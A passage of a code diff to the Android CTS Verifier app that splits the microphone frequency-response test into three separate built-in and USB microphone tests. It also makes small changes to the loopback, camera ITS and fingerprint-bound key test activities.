-    <string name="audio_frequency_mic_mic_ready_btn">USB Reference microphone ready</string>
-    <string name="audio_frequency_mic_mic_ready_text">USB Audio device detected\n\nPlease set up Device Under test
-    in quiet room, and Microphone 20 cms perpendicular to center of screen, then press TEST</string>
-    <string name="audio_frequency_mic_mic_not_ready_text">"No USB Audio device detected. Please reconnect."</string>
-    <string name="audio_frequency_mic_test2_btn">Test 2</string>
-    <string name="audio_frequency_mic_results_text">Results...</string>
+    <string name="frequency_mic_test_noise_btn">Test</string>
+    <string name="frequency_mic_test_noise_result">Results...</string>
+
+    <string name="frequency_mic_test_usb_background_instructions">TEST USB BACKGROUND: Connect USB microphone and position it right next to microphone under test.
+    No source of noise should be active during this test. Press [TEST]</string>
+    <string name="frequency_mic_test_usb_background_btn">Test</string>
+    <string name="frequency_mic_test_usb_background_result">Results...</string>
+
+    <string name="frequency_mic_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test.
+    Position speakers 40 cms from device under test. Press [PLAY] to play broadband white noise. Press [TEST]</string>
+    <string name="frequency_mic_test_usb_noise_btn">Test</string>
+    <string name="frequency_mic_test_usb_noise_result">Results...</string>
+
+    <string name="frequency_mic_test_global_result">Global Results...</string>
 
      <!-- Audio Frequency Unprocessed Test -->
     <string name="audio_frequency_unprocessed_test">Audio Frequency Unprocessed Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
index ce7eb3f..129fb72 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
@@ -18,11 +18,13 @@
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
+
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import android.content.Context;
+
 import android.content.BroadcastReceiver;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -59,36 +61,50 @@
     private static final String TAG = "AudioFrequencyMicActivity";
 
     private static final int TEST_STARTED = 900;
-    private static final int TEST_ENDED = 901;
-    private static final int TEST_MESSAGE = 902;
-    private static final int TEST1_MESSAGE = 903;
-    private static final int TEST1_ENDED = 904;
+    private static final int TEST_MESSAGE = 903;
+    private static final int TEST_ENDED = 904;
+    private static final int TEST_ENDED_ERROR = 905;
+
     private static final double MIN_ENERGY_BAND_1 = -50.0;          //dB Full Scale
     private static final double MAX_ENERGY_BAND_1_BASE = -60.0;     //dB Full Scale
     private static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
     private static final double MAX_VAL = Math.pow(2, 15);
     private static final double CLIP_LEVEL = (MAX_VAL-10) / MAX_VAL;
 
+    private static final int TEST_NONE = -1;
+    private static final int TEST_NOISE = 0;
+    private static final int TEST_USB_BACKGROUND = 1;
+    private static final int TEST_USB_NOISE = 2;
+    private static final int TEST_COUNT = 3;
+    private int mCurrentTest = TEST_NONE;
+    private boolean mTestsDone[] = new boolean[TEST_COUNT];
+
+    private static final int TEST_DURATION_DEFAULT = 2000;
+    private static final int TEST_DURATION_NOISE = TEST_DURATION_DEFAULT;
+    private static final int TEST_DURATION_USB_BACKGROUND = TEST_DURATION_DEFAULT;
+    private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
+
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
     Context mContext;
 
-    Button mHeadsetPortYes;
-    Button mHeadsetPortNo;
+    LinearLayout mLayoutTestNoise;
+    Button mButtonTestNoise;
+    ProgressBar mProgressNoise;
+    TextView mResultTestNoise;
+    Button mButtonPlayNoise;
 
-    Button mSpeakersReady;              //user signal to have connected external speakers
-    Button mTest1Button;                //execute test 1
-    Button mUsbMicReady;          //user signal to have connected USB Microphone
-    Button mTest2Button;                 //user to start test
-    String mUsbDevicesInfo;             //usb device info for report
-    LinearLayout mLayoutTest1;
-    LinearLayout mLayoutTest2a;
-    LinearLayout mLayoutTest2b;
+    LinearLayout mLayoutTestUsbBackground;
+    Button mButtonTestUsbBackground;
+    ProgressBar mProgressUsbBackground;
+    TextView mResultTestUsbBackground;
 
-    TextView mSpeakerReadyText;
-    TextView mTest2Result;
-    TextView mUsbStatusText;
-    TextView mTest1Result;
-    ProgressBar mProgressBar;
+    LinearLayout mLayoutTestUsbNoise;
+    Button mButtonTestUsbNoise;
+    ProgressBar mProgressUsbNoise;
+    TextView mResultTestUsbNoise;
+    Button mButtonPlayUsbNoise;
+
+    TextView mGlobalResultText;
 
     private boolean mIsRecording = false;
     private final Object mRecordingLock = new Object();
@@ -112,87 +128,54 @@
 
     private DspWindow mWindow;
     private DspFftServer mFftServer;
-    private VectorAverage mFreqAverageMain = new VectorAverage();
+    private VectorAverage mFreqAverageUsbBackground = new VectorAverage();
+    private VectorAverage mFreqAverageNoise = new VectorAverage();
+    private VectorAverage mFreqAverageUsbNoise = new VectorAverage();
 
-    private VectorAverage mFreqAverageBase = new VectorAverage();
-    private VectorAverage mFreqAverageBuiltIn = new VectorAverage();
-    private VectorAverage mFreqAverageReference = new VectorAverage();
 
-    private int mCurrentTest = -1;
     int mBands = 4;
     AudioBandSpecs[] bandSpecsArray = new AudioBandSpecs[mBands];
     AudioBandSpecs[] baseBandSpecsArray = new AudioBandSpecs[mBands];
 
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-            case R.id.audio_frequency_mic_speakers_ready_btn:
-                testSpeakersReady();
-                setMaxLevel();
-                testMaxLevel();
-                break;
-            case R.id.audio_frequency_mic_test1_btn:
-                startTest1();
-                break;
-            case R.id.audio_frequency_mic_mic_ready_btn:
-                testUSB();
-                break;
-            case R.id.audio_frequency_mic_test2_btn:
-                startTest2();
-                break;
-            case R.id.audio_general_headset_yes:
-                Log.i(TAG, "User confirms Headset Port existence");
-                mSpeakersReady.setEnabled(true);
-                recordHeasetPortFound(true);
-                mHeadsetPortYes.setEnabled(false);
-                mHeadsetPortNo.setEnabled(false);
-                break;
-            case R.id.audio_general_headset_no:
-                Log.i(TAG, "User denies Headset Port existence");
-                recordHeasetPortFound(false);
-                getPassButton().setEnabled(true);
-                mHeadsetPortYes.setEnabled(false);
-                mHeadsetPortNo.setEnabled(false);
-                break;
-            }
-        }
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_mic_activity);
         mContext = this;
 
-        mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
-        mHeadsetPortYes.setOnClickListener(mBtnClickListener);
-        mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
-        mHeadsetPortNo.setOnClickListener(mBtnClickListener);
+        //Test Noise
+        mLayoutTestNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_noise);
+        mButtonTestNoise = (Button) findViewById(R.id.frequency_mic_test_noise_btn);
+        mButtonTestNoise.setOnClickListener(mBtnClickListener);
+        mProgressNoise = (ProgressBar) findViewById(R.id.frequency_mic_test_noise_progress_bar);
+        mResultTestNoise = (TextView) findViewById(R.id.frequency_mic_test_noise_result);
+        mButtonPlayNoise = (Button) findViewById(R.id.frequency_mic_play_noise_btn);
+        mButtonPlayNoise.setOnClickListener(mBtnClickListener);
+        showWait(mProgressNoise, false);
 
-        mSpeakerReadyText = (TextView) findViewById(R.id.audio_frequency_mic_speakers_ready_status);
+      //USB Background
+        mLayoutTestUsbBackground = (LinearLayout)
+                findViewById(R.id.frequency_mic_layout_test_usb_background);
+        mButtonTestUsbBackground = (Button)
+                findViewById(R.id.frequency_mic_test_usb_background_btn);
+        mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
+        mProgressUsbBackground = (ProgressBar)
+                findViewById(R.id.frequency_mic_test_usb_background_progress_bar);
+        mResultTestUsbBackground = (TextView)
+                findViewById(R.id.frequency_mic_test_usb_background_result);
+        showWait(mProgressUsbBackground, false);
 
-        mSpeakersReady  = (Button)findViewById(R.id.audio_frequency_mic_speakers_ready_btn);
-        mSpeakersReady.setOnClickListener(mBtnClickListener);
-        mSpeakersReady.setEnabled(false);
-        mTest1Button = (Button)findViewById(R.id.audio_frequency_mic_test1_btn);
-        mTest1Button.setOnClickListener(mBtnClickListener);
-        mTest1Result = (TextView)findViewById(R.id.audio_frequency_mic_results1_text);
-        mLayoutTest1 = (LinearLayout) findViewById(R.id.audio_frequency_mic_layout_test1);
-        mLayoutTest2a = (LinearLayout) findViewById(R.id.audio_frequency_mic_layout_test2a);
-        mLayoutTest2b = (LinearLayout) findViewById(R.id.audio_frequency_mic_layout_test2b);
-        mUsbMicReady = (Button)findViewById(R.id.audio_frequency_mic_mic_ready_btn);
-        mUsbMicReady.setOnClickListener(mBtnClickListener);
+        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_usb_noise);
+        mButtonTestUsbNoise = (Button) findViewById(R.id.frequency_mic_test_usb_noise_btn);
+        mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
+        mProgressUsbNoise = (ProgressBar)
+                findViewById(R.id.frequency_mic_test_usb_noise_progress_bar);
+        mResultTestUsbNoise = (TextView) findViewById(R.id.frequency_mic_test_usb_noise_result);
+        mButtonPlayUsbNoise = (Button) findViewById(R.id.frequency_mic_play_usb_noise_btn);
+        mButtonPlayUsbNoise.setOnClickListener(mBtnClickListener);
+        showWait(mProgressUsbNoise, false);
 
-        mUsbStatusText = (TextView)findViewById(R.id.audio_frequency_mic_usb_status);
-        mTest2Button = (Button)findViewById(R.id.audio_frequency_mic_test2_btn);
-        mTest2Button.setOnClickListener(mBtnClickListener);
-        mTest2Result = (TextView)findViewById(R.id.audio_frequency_mic_results_text);
-        mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_mic_progress_bar);
-        showWait(false);
-        enableLayout(mLayoutTest1, false);
-        enableLayout(mLayoutTest2a, false);
-        enableLayout(mLayoutTest2b, false);
+        mGlobalResultText = (TextView) findViewById(R.id.frequency_mic_test_global_result);
 
         mSPlayer = new SoundPlayerObject();
         mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
@@ -211,7 +194,7 @@
         setPassFailButtonClickListeners();
         getPassButton().setEnabled(false);
         setInfoResources(R.string.audio_frequency_mic_test,
-                R.string.audio_frequency_mic_info, -1);
+                R.string.frequency_mic_info, -1);
 
         //Init bands for BuiltIn/Reference test
         bandSpecsArray[0] = new AudioBandSpecs(
@@ -256,6 +239,65 @@
                 5.0, -50.0      /* stop top,bottom value */);
 
     }
+    private void playerToggleButton(int buttonId) {
+        if (playerIsPlaying()) {
+            playerStopAll();
+        } else {
+            playerTransport(true);
+            setButtonPlayStatus(buttonId);
+        }
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            int id = v.getId();
+            switch (id) {
+            case R.id.frequency_mic_test_noise_btn:
+                startTest(TEST_NOISE);
+                break;
+            case R.id.frequency_mic_play_noise_btn:
+                playerToggleButton(id);
+                break;
+            case R.id.frequency_mic_test_usb_background_btn:
+                startTest(TEST_USB_BACKGROUND);
+                break;
+            case R.id.frequency_mic_test_usb_noise_btn:
+                startTest(TEST_USB_NOISE);
+                break;
+            case R.id.frequency_mic_play_usb_noise_btn:
+                playerToggleButton(id);
+                break;
+            }
+        }
+    }
+
+    private void setButtonPlayStatus(int playResId) {
+        String play = getResources().getText(R.string.frequency_mic_play).toString();
+        String stop = getResources().getText(R.string.frequency_mic_stop).toString();
+
+        mButtonPlayNoise.setText(playResId == R.id.frequency_mic_play_noise_btn ? stop : play);
+        mButtonPlayUsbNoise.setText(playResId ==
+                R.id.frequency_mic_play_usb_noise_btn ? stop : play);
+    }
+
+    private void playerTransport(boolean play) {
+        if (!mSPlayer.isAlive()) {
+            mSPlayer.start();
+        }
+        mSPlayer.play(play);
+    }
+
+    private boolean playerIsPlaying() {
+       return mSPlayer.isPlaying();
+    }
+
+    private void playerStopAll() {
+        if (mSPlayer.isAlive() && mSPlayer.isPlaying()) {
+            mSPlayer.play(false);
+            setButtonPlayStatus(-1);
+        }
+    }
 
     /**
      * enable test ui elements
@@ -267,184 +309,193 @@
         }
     }
 
-    /**
-     * show active progress bar
-     */
-    private void showWait(boolean show) {
+    private void showWait(ProgressBar pb, boolean show) {
         if (show) {
-            mProgressBar.setVisibility(View.VISIBLE);
+            pb.setVisibility(View.VISIBLE);
         } else {
-            mProgressBar.setVisibility(View.INVISIBLE);
+            pb.setVisibility(View.INVISIBLE);
         }
     }
 
-    /**
-     *  Start the loopback audio test
-     */
-    private void startTest1() {
+    private void showWait(int testId, boolean show) {
+        switch(testId) {
+            case TEST_NOISE:
+                showWait(mProgressNoise, show);
+                break;
+            case TEST_USB_BACKGROUND:
+                showWait(mProgressUsbBackground, show);
+                break;
+            case TEST_USB_NOISE:
+                showWait(mProgressUsbNoise, show);
+                break;
+        }
+    }
+
+    private String getTestString(int testId) {
+        String name = "undefined";
+        switch(testId) {
+            case TEST_NOISE:
+                name = "BuiltIn_noise";
+                break;
+            case TEST_USB_BACKGROUND:
+                name = "USB_background";
+                break;
+            case TEST_USB_NOISE:
+                name = "USB_noise";
+                break;
+        }
+        return name;
+    }
+
+    private void showMessage(int testId, String msg) {
+        if (msg != null && msg.length() > 0) {
+            switch(testId) {
+                case TEST_NOISE:
+                    mResultTestNoise.setText(msg);
+                    break;
+                case TEST_USB_BACKGROUND:
+                    mResultTestUsbBackground.setText(msg);
+                    break;
+                case TEST_USB_NOISE:
+                    mResultTestUsbNoise.setText(msg);
+                    break;
+            }
+        }
+    }
+
+    Thread mTestThread;
+    private void startTest(int testId) {
         if (mTestThread != null && !mTestThread.isAlive()) {
             mTestThread = null; //kill it.
         }
 
         if (mTestThread == null) {
             Log.v(TAG,"Executing test Thread");
-            mTestThread = new Thread(mTest1Runnable);
-            //getPassButton().setEnabled(false);
-            if (!mSPlayer.isAlive())
-                mSPlayer.start();
+            switch(testId) {
+                case TEST_NOISE:
+                    mTestThread = new Thread(new TestRunnable(TEST_NOISE) {
+                        public void run() {
+                            super.run();
+                            if (!mUsbMicConnected) {
+                                sendMessage(mTestId, TEST_MESSAGE,
+                                        "Testing Built in Microphone: Noise");
+                                mFreqAverageNoise.reset();
+                                mFreqAverageNoise.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                                record(TEST_DURATION_NOISE);
+                                sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                                mTestsDone[mTestId] = true;
+                            } else {
+                                sendMessage(mTestId, TEST_ENDED_ERROR,
+                                        "Please Unplug USB Microphone");
+                                mTestsDone[mTestId] = false;
+                            }
+                        }
+                    });
+                break;
+                case TEST_USB_BACKGROUND:
+                    playerStopAll();
+                    mTestThread = new Thread(new TestRunnable(TEST_USB_BACKGROUND) {
+                        public void run() {
+                            super.run();
+                            if (mUsbMicConnected) {
+                                sendMessage(mTestId, TEST_MESSAGE,
+                                        "Testing USB Microphone: background");
+                                mFreqAverageUsbBackground.reset();
+                                mFreqAverageUsbBackground.setCaptureType(
+                                        VectorAverage.CAPTURE_TYPE_AVERAGE);
+                                record(TEST_DURATION_USB_BACKGROUND);
+                                sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                                mTestsDone[mTestId] = true;
+                            } else {
+                                sendMessage(mTestId, TEST_ENDED_ERROR,
+                                        "USB Microphone not detected.");
+                                mTestsDone[mTestId] = false;
+                            }
+                        }
+                    });
+                break;
+                case TEST_USB_NOISE:
+                    mTestThread = new Thread(new TestRunnable(TEST_USB_NOISE) {
+                        public void run() {
+                            super.run();
+                            if (mUsbMicConnected) {
+                                sendMessage(mTestId, TEST_MESSAGE, "Testing USB Microphone: Noise");
+                                mFreqAverageUsbNoise.reset();
+                                mFreqAverageUsbNoise.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                                record(TEST_DURATION_USB_NOISE);
+                                sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                                mTestsDone[mTestId] = true;
+                            } else {
+                                sendMessage(mTestId, TEST_ENDED_ERROR,
+                                        "USB Microphone not detected.");
+                                mTestsDone[mTestId] = false;
+                            }
+                        }
+                    });
+                break;
+            }
             mTestThread.start();
         } else {
             Log.v(TAG,"test Thread already running.");
         }
     }
-
-    Thread mTestThread;
-    Runnable mTest1Runnable = new Runnable() {
-        public void run() {
-            Message msg = Message.obtain();
-            msg.what = TEST_STARTED;
-            mMessageHandler.sendMessage(msg);
-
-            setMinLevel();
-            sendMessage("Testing Background Environment");
-            mCurrentTest = 0;
-            mSPlayer.setBalance(0.5f);
-            mFreqAverageBase.reset();
-            play();
-
-            setMaxLevel();
-            sendMessage("Testing Built in Microphone");
-            mCurrentTest = 1;
-            mFreqAverageBuiltIn.reset();
-            mSPlayer.setBalance(0.5f);
-            play();
-
-            mCurrentTest = -1;
-            sendMessage("Testing Completed");
-
-            Message msg2 = Message.obtain();
-            msg2.what = TEST1_ENDED;
-            mMessageHandler.sendMessage(msg2);
+    public class TestRunnable implements Runnable {
+        public int mTestId;
+        public boolean mUsbMicConnected;
+        TestRunnable(int testId) {
+            Log.v(TAG,"New TestRunnable");
+            mTestId = testId;
         }
-
-        private void play() {
+        public void run() {
+            mCurrentTest = mTestId;
+            sendMessage(mTestId, TEST_STARTED,"");
+            mUsbMicConnected =
+                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+        };
+        public void record(int durationMs) {
             startRecording();
-            mSPlayer.play(true);
-
             try {
-                Thread.sleep(2000);
+                Thread.sleep(durationMs);
             } catch (InterruptedException e) {
                 e.printStackTrace();
                 //restore interrupted status
                 Thread.currentThread().interrupt();
             }
-
-            mSPlayer.play(false);
             stopRecording();
         }
-
-        private void sendMessage(String str) {
+        public void sendMessage(int testId, int msgType, String str) {
             Message msg = Message.obtain();
-            msg.what = TEST1_MESSAGE;
+            msg.what = msgType;
             msg.obj = str;
+            msg.arg1 = testId;
             mMessageHandler.sendMessage(msg);
         }
-    };
-
-    /**
-     *  Start the loopback audio test
-     */
-    private void startTest2() {
-        if (mTestThread != null && !mTestThread.isAlive()) {
-            mTestThread = null; //kill it.
-        }
-
-        if (mTestThread == null) {
-            Log.v(TAG,"Executing test2 Thread");
-            mTestThread = new Thread(mTest2Runnable);
-            //getPassButton().setEnabled(false);
-            if (!mSPlayer.isAlive())
-                mSPlayer.start();
-            mTestThread.start();
-        } else {
-            Log.v(TAG,"test Thread already running.");
-        }
     }
 
-    Runnable mTest2Runnable = new Runnable() {
-        public void run() {
-            Message msg = Message.obtain();
-            msg.what = TEST_STARTED;
-            mMessageHandler.sendMessage(msg);
-
-            sendMessage("Testing Reference USB Microphone");
-            mCurrentTest = 2;
-            mFreqAverageReference.reset();
-            mSPlayer.setBalance(0.5f);
-            play();
-
-            mCurrentTest = -1;
-            sendMessage("Testing Completed");
-
-            Message msg2 = Message.obtain();
-            msg2.what = TEST_ENDED;
-            mMessageHandler.sendMessage(msg2);
-        }
-
-        private void play() {
-            startRecording();
-            mSPlayer.play(true);
-
-            try {
-                Thread.sleep(2000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-                //restore interrupted status
-                Thread.currentThread().interrupt();
-            }
-
-            mSPlayer.play(false);
-            stopRecording();
-        }
-
-        private void sendMessage(String str) {
-            Message msg = Message.obtain();
-            msg.what = TEST_MESSAGE;
-            msg.obj = str;
-            mMessageHandler.sendMessage(msg);
-        }
-    };
-
     private Handler mMessageHandler = new Handler() {
         public void handleMessage(Message msg) {
             super.handleMessage(msg);
+            int testId = msg.arg1; //testId
+            String str = (String) msg.obj;
             switch (msg.what) {
             case TEST_STARTED:
-                showWait(true);
-                getPassButton().setEnabled(false);
+                showWait(testId, true);
+                break;
+            case TEST_MESSAGE:
+                    showMessage(testId, str);
                 break;
             case TEST_ENDED:
-                showWait(false);
-                computeTest2Results();
+                showWait(testId, false);
+                playerStopAll();
+                showMessage(testId, str);
+                appendResultsToScreen(testId, "test finished");
+                computeAllResults();
                 break;
-            case TEST1_MESSAGE: {
-                    String str = (String)msg.obj;
-                    if (str != null) {
-                        mTest1Result.setText(str);
-                    }
-                }
-                break;
-            case TEST1_ENDED:
-                showWait(false);
-                computeTest1Results();
-                break;
-            case TEST_MESSAGE: {
-                    String str = (String)msg.obj;
-                    if (str != null) {
-                        mTest2Result.setText(str);
-                    }
-                }
-                break;
+            case TEST_ENDED_ERROR:
+                showWait(testId, false);
+                playerStopAll();
+                showMessage(testId, str);
+                computeAllResults();
             default:
                 Log.e(TAG, String.format("Unknown message: %d", msg.what));
             }
@@ -516,41 +567,54 @@
         }
     }
 
+    private void computeAllResults() {
+        StringBuilder sb = new StringBuilder();
 
-    /**
-     * compute test1 results
-     */
-    private void computeTest1Results() {
+        boolean allDone = true;
 
-        Results resultsBase = new Results("Base");
-        if (computeResultsForVector(mFreqAverageBase, resultsBase, true, baseBandSpecsArray)) {
-            appendResultsToScreen(resultsBase.toString(), mTest1Result);
-            recordTestResults(resultsBase);
+        for (int i = 0; i < TEST_COUNT; i++) {
+            allDone = allDone & mTestsDone[i];
+            sb.append(String.format("%s : %s\n", getTestString(i),
+                    mTestsDone[i] ? "DONE" :" NOT DONE"));
         }
 
-        Results resultsBuiltIn = new Results("BuiltIn");
-        if (computeResultsForVector(mFreqAverageBuiltIn, resultsBuiltIn, false, bandSpecsArray)) {
-            appendResultsToScreen(resultsBuiltIn.toString(), mTest1Result);
+        if (allDone) {
+            sb.append(computeResults());
+        } else {
+            sb.append("Please execute all tests for results\n");
+        }
+        mGlobalResultText.setText(sb.toString());
+    }
+
+    private String computeResults() {
+        StringBuilder sb = new StringBuilder();
+
+        sb.append("\n");
+
+        Results resultsBuiltIn = new Results(getTestString(TEST_NOISE));
+        if (computeResultsForVector(mFreqAverageNoise, resultsBuiltIn, false, bandSpecsArray)) {
+            sb.append(resultsBuiltIn.toString());
+            sb.append("\n");
             recordTestResults(resultsBuiltIn);
         }
 
-        //tell user to connect USB Microphone
-        appendResultsToScreen("\n\n" +
-                getResources().getText(R.string.audio_frequency_mic_connect_mic), mTest1Result);
-        enableLayout(mLayoutTest2a, true);
-    }
+        Results resultsBase = new Results(getTestString(TEST_USB_BACKGROUND));
+        if (computeResultsForVector(mFreqAverageUsbBackground, resultsBase, true,
+                baseBandSpecsArray)) {
+            sb.append(resultsBase.toString());
+            sb.append("\n");
+            recordTestResults(resultsBase);
+        }
 
-    /**
-     * compute test results
-     */
-    private void computeTest2Results() {
-        Results resultsReference = new Results("Reference");
-        if (computeResultsForVector(mFreqAverageReference, resultsReference,
-                false, bandSpecsArray)) {
-            appendResultsToScreen(resultsReference.toString(),mTest2Result);
-            recordTestResults(resultsReference);
+        Results resultsUsbNoise = new Results(getTestString(TEST_USB_NOISE));
+        if (computeResultsForVector(mFreqAverageUsbNoise, resultsUsbNoise, false,
+                bandSpecsArray)) {
+            sb.append(resultsUsbNoise.toString());
+            sb.append("\n");
+            recordTestResults(resultsUsbNoise);
             getPassButton().setEnabled(true);
         }
+        return sb.toString();
     }
 
     private boolean computeResultsForVector(VectorAverage freqAverage, Results results,
@@ -598,7 +662,7 @@
             currentBand = 0;
             for (int i = 0; i < points; i++) {
                 double freq = (double)mSamplingRate * i / (double)mBlockSizeSamples;
-                if (freq >  bandSpecs[currentBand].mFreqStop) {
+                if (freq > bandSpecs[currentBand].mFreqStop) {
                     currentBand++;
                     if (currentBand >= mBands)
                         break;
@@ -623,6 +687,20 @@
         text.setText(currentText + "\n" + str);
     }
 
+    private void appendResultsToScreen(int testId, String str) {
+        switch(testId) {
+            case TEST_NOISE:
+                appendResultsToScreen(str, mResultTestNoise);
+                break;
+            case TEST_USB_BACKGROUND:
+                appendResultsToScreen(str, mResultTestUsbBackground);
+                break;
+            case TEST_USB_NOISE:
+                appendResultsToScreen(str, mResultTestUsbNoise);
+                break;
+        }
+    }
+
     /**
      * Store test results in log
      */
@@ -809,17 +887,15 @@
                 halfMagnitude[i] = Math.sqrt(mC.mReal[i] * mC.mReal[i] + mC.mImag[i] * mC.mImag[i]);
             }
 
-            mFreqAverageMain.setData(halfMagnitude, false); //average all of them!
-
             switch(mCurrentTest) {
-                case 0:
-                    mFreqAverageBase.setData(halfMagnitude, false);
+                case TEST_NOISE:
+                    mFreqAverageNoise.setData(halfMagnitude, false);
                     break;
-                case 1:
-                    mFreqAverageBuiltIn.setData(halfMagnitude, false);
+                case TEST_USB_BACKGROUND:
+                    mFreqAverageUsbBackground.setData(halfMagnitude, false);
                     break;
-                case 2:
-                    mFreqAverageReference.setData(halfMagnitude, false);
+                case TEST_USB_NOISE:
+                    mFreqAverageUsbNoise.setData(halfMagnitude, false);
                     break;
             }
         }
@@ -842,32 +918,4 @@
         }
     }
 
-    private void testSpeakersReady() {
-        boolean isUsbConnected =
-                UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
-        if (isUsbConnected) {
-            mSpeakerReadyText.setText(" USB device detected, please remove it");
-            enableLayout(mLayoutTest1, false);
-            //fail
-        } else {
-            mSpeakerReadyText.setText(" No USB device detected. OK");
-            enableLayout(mLayoutTest1, true);
-        }
-    }
-
-    private void testUSB() {
-        boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
-        mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(getApplicationContext());
-
-        if (isConnected) {
-            mUsbStatusText.setText(
-                    getResources().getText(R.string.audio_frequency_mic_mic_ready_text));
-            enableLayout(mLayoutTest2b, true);
-        } else {
-            mUsbStatusText.setText(
-                    getResources().getText(R.string.audio_frequency_mic_mic_not_ready_text));
-            enableLayout(mLayoutTest2b, false);
-        }
-    }
-
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
index 9e52d95..f5cf4e1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
@@ -58,8 +58,8 @@
     private static final double CONFIDENCE_THRESHOLD = 0.6;
     private Correlation mCorrelation = new Correlation();
 
-    // TODO: remove this when no longer necessary
-    private int mNumFramesToIgnore = mSamplingRate / 10; // ignore first 100 ms
+    // TODO: remove this variable
+    private int mNumFramesToIgnore = 0;
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
     Context mContext;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 99ad113..9024705 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -89,6 +89,7 @@
             add("scene3");
             add("scene4");
             add("scene5");
+            add("sensor_fusion");
         } };
 
     // TODO: cache the following in saved bundle
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AuthenticationBoundKeyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AuthenticationBoundKeyTestActivity.java
index 7b6c696..f404d2f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AuthenticationBoundKeyTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AuthenticationBoundKeyTestActivity.java
@@ -6,6 +6,7 @@
 import android.app.Dialog;
 import android.app.DialogFragment;
 import android.app.KeyguardManager;
+import android.content.Context;
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.hardware.fingerprint.FingerprintManager;
@@ -162,8 +163,8 @@
             }
         };
         adapter.add(mLockScreenBoundKeyTest);
-
         if (mFingerprintSupported) {
+            AuthenticationBoundKeyTestActivity that = this;
             mFingerprintBoundKeyTest = new DialogTestListItem(this,
                     R.string.provisioning_byod_fingerprint_bound_key,
                     "BYOD_FingerprintBoundKeyTest") {
@@ -177,8 +178,10 @@
                             showToast("Test failed. Key accessible without auth.");
                             setTestResult(mFingerprintBoundKeyTest, TestResult.TEST_RESULT_FAILED);
                         } else {
-                            new FingerprintAuthDialogFragment().show(getFragmentManager(),
-                                    "fingerprint_dialog");
+                            FingerprintAuthDialogFragment fadf =
+                                    new FingerprintAuthDialogFragment();
+                            fadf.setActivity(that);
+                            fadf.show(getFragmentManager(),"fingerprint_dialog");
                         }
                     }
                 }
@@ -324,9 +327,11 @@
         Toast.makeText(this, message, Toast.LENGTH_LONG).show();
     }
 
-    public class FingerprintAuthDialogFragment extends DialogFragment {
+    static public class FingerprintAuthDialogFragment extends DialogFragment {
 
+        private AuthenticationBoundKeyTestActivity mActivity;
         private CancellationSignal mCancellationSignal;
+        private FingerprintManager mFingerprintManager;
         private FingerprintManagerCallback mFingerprintManagerCallback;
         private boolean mSelfCancelled;
 
@@ -350,12 +355,14 @@
 
             @Override
             public void onAuthenticationSucceeded(FingerprintManager.AuthenticationResult result) {
-                if (tryEncryptWithFingerprintKey(mFingerprintCipher)) {
+                if (mActivity.tryEncryptWithFingerprintKey(mActivity.mFingerprintCipher)) {
                     showToast("Test passed.");
-                    setTestResult(mFingerprintBoundKeyTest, TestResult.TEST_RESULT_PASSED);
+                    mActivity.setTestResult(mActivity.mFingerprintBoundKeyTest,
+                            TestResult.TEST_RESULT_PASSED);
                 } else {
                     showToast("Test failed. Key not accessible after auth");
